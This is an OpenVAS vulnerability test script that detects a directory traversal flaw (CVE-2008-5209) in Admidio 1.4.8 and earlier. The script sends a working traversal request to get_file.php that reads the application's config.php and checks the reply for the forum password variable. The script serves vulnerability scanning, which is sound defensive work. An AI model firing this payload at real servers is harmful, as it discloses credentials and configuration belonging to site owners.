###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_admidio_remote_dir_trvsl_vuln.nasl 532 2008-12-01 11:37:24Z nov $
#
# Admidio get_file.php Remote File Disclosure Vulnerability
#
# Authors:
# Sharath S <sharaths@secpod.com>
#
# Copyright:
# Copyright (c) 2008 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(800309);
  script_version("$Revision: 1.0$");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"risk_factor", value:"Medium");
  script_cve_id("CVE-2008-5209");
  script_bugtraq_id(29127);
  script_name("Admidio get_file.php Remote File Disclosure Vulnerability");
  desc = "

  Overview: This host is running Admidio and is prone to Directory Traversal
  Vulnerability.

  Vulnerability Insight:
  The flaw is caused due to file parameter in modules/download/get_file.php
  which is not properly sanitized before returning to the user.

  Impact:
  Successful exploitation could allow attacker to view local files in the
  context of the webserver process.

  Impact Level: Application

  Affected Software/OS:
  Admidio Version 1.4.8 and prior.

  Fix: Upgrade to Version 1.4.9 or later
  http://www.admidio.org/index.php?page=download

  References:
  http://www.milw0rm.com/exploits/5575
  http://www.admidio.org/forum/viewtopic.php?t=1180

  CVSS Score:
    CVSS Base Score     : 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)
    CVSS Temporal Score : 3.9
  Risk factor: Medium";

  script_description(desc);
  script_summary("Check for the Version of Admidio");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2008 Intevation GmbH");
  script_family("Web application abuses");
  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80);
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);
if(!port){
  exit(0);
}

foreach path (make_list("/admidio", cgi_dirs()))
{
  sndReq = http_get(item:string(path, "/adm_program/index.php"), port:port);
  rcvRes = http_keepalive_send_recv(port:port, data:sndReq, bodyonly:1);
  if(rcvRes == NULL){
    exit(0);
  }

  if("Admidio Team" >< rcvRes)
  {
    # Get a config.php using Directory Traversal
    dirTra = "/adm_program/modules/download/get_file.php?folder=&file=" +
             "../../adm_config/config.php&default_folder=";
    sndReq = http_get(item:string(path, dirTra), port:port);
    rcvRes = http_keepalive_send_recv(port:port, data:sndReq, bodyonly:1);
    if(rcvRes == NULL){
      exit(0);
    }

    if('Module-Owner' >< rcvRes && '$g_forum_pw' >< rcvRes){
      security_warning(port);
      exit(0);
    }
  }
}
